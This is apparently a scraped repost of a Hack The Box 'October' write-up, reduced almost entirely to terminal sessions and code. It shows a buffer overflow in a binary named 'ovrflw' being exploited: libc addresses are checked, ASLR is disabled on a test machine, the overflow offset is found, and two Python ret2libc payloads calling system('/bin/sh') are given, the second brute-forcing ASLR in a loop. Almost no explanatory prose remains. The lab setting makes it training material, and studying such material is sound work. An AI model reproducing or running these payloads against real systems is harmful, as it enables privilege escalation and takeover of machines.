Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
www-data@october:/tmp$ cat /etc/lsb-release
cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"
sudo apt update && sudo apt install -y build-essential git
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
artis3n@ubuntu:~/Desktop$ wget http://172.16.145.128:8000/ovrflw
--2020-06-28 10:26:29-- http://172.16.145.128:8000/ovrflw
Connecting to 172.16.145.128:8000... ^C
artis3n@ubuntu:~/Desktop$ wget http://192.168.1.209:8000/ovrflw
--2020-06-28 10:27:20-- http://192.168.1.209:8000/ovrflw
Connecting to 192.168.1.209:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7377 (7.2K) [application/octet-stream]
Saving to: ‘ovrflw’
100%[============================================================>] 7,377 --.-K/s in 0.001s
2020-06-28 10:27:20 (12.1 MB/s) - ‘ovrflw’ saved [7377/7377]
artis3n@ubuntu:~/Desktop$ ls -l
total 8
-rw-rw-r-- 1 artis3n artis3n 7377 Jun 28 10:07 ovrflw
gdb ./ovrflw
> b main
> run
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7640000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7547000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7564000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ba000)
artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n:
root@ubuntu:/home/artis3n/Desktop# echo 0 > /proc/sys/kernel/randomize_va_space
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@kali-pop:~/shares/htb/october$ msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x64413764 in ?? ()
artis3n@kali-pop:~/shares/htb/october$ msf-pattern_offset -q 0x64413764
[*] Exact match at offset 112
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e53310 <__libc_system>
gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f75d4c ("/bin/sh")
#!/usr/bin/env python
import struct
buffersled = "A"*112
libc = ''
system = struct.pack('<I', 0xb7e53310)
exit = struct.pack('<I', 0xb7e46260)
binsh = struct.pack('<I', 0xb7f75d4c)
payload = buffersled + system + exit + binsh
print payload
./ovrflw $(python exploit.py)
artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n:
root@ubuntu:/home/artis3n/Desktop# echo 2 > /proc/sys/kernel/randomize_va_space
artis3n@ubuntu:~/Desktop$ for i in `seq 0 20`; do ldd ovrflw | grep libc; done
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b9000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a4000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7613000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751f000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751b000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ce000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7530000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7522000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d6000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7561000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7596000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7584000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7574000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7533000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb754d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb752d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e1000)
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755c000)
www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system
stemelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i sy
243: 0011b710 73 FUNC GLOBAL DEFAULT 12 svcerr_systemerr@@GLIBC_2.0
620: 00040310 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit
itadelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i ex
111: 00033690 58 FUNC GLOBAL DEFAULT 12 __cxa_at_quick_exit@@GLIBC_2.10
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
446: 000336d0 268 FUNC GLOBAL DEFAULT 12 __cxa_thread_atexit_impl@@GLIBC_2.18
554: 000b84f4 24 FUNC GLOBAL DEFAULT 12 _exit@@GLIBC_2.0
609: 0011e5f0 56 FUNC GLOBAL DEFAULT 12 svc_exit@@GLIBC_2.0
645: 00033660 45 FUNC GLOBAL DEFAULT 12 quick_exit@@GLIBC_2.10
868: 00033490 84 FUNC GLOBAL DEFAULT 12 __cxa_atexit@@GLIBC_2.1.3
1037: 00128b50 60 FUNC GLOBAL DEFAULT 12 atexit@GLIBC_2.0
1380: 001ac204 4 OBJECT GLOBAL DEFAULT 31 argp_err_exit_status@@GLIBC_2.1
1492: 000fb480 62 FUNC GLOBAL DEFAULT 12 pthread_exit@@GLIBC_2.0
1836: 000b84f4 24 FUNC WEAK DEFAULT 12 _Exit@@GLIBC_2.1.1
2090: 001ac154 4 OBJECT GLOBAL DEFAULT 31 obstack_exit_failure@@GLIBC_2.0
2243: 00033290 77 FUNC WEAK DEFAULT 12 on_exit@@GLIBC_2.0
2386: 000fbff0 2 FUNC GLOBAL DEFAULT 12 __cyg_profile_func_exit@@GLIBC_2.2
www-data@october:/dev/shm$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
n/shngs -atx /lib/i386-linux-gnu/libc.so.6 | grep /bi
162bac /bin/sh
#!/usr/bin/env python
from subprocess import call
import struct
buffersled = "A"*112
libc = 0xb755c000
system = struct.pack('<I', libc + 0x00040310)
exit = struct.pack('<I', libc + 0x00033260)
binsh = struct.pack('<I', libc + 0x00162bac)
payload = buffersled + system + exit + binsh
i = 0
while (i < 512):
print("Try %s" % i)
i += 1
ret = call(["/usr/local/bin/ovrflw", payload])
Reference
이 문제에 관하여(10월 Hack The Box의 버퍼가 ASLR 옆길로 넘쳤습니다. - Metasploit 장착.), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/artis3n/buffer-overflow-aslr-bypass-on-hackthebox-october-with-metasploit-cg9텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)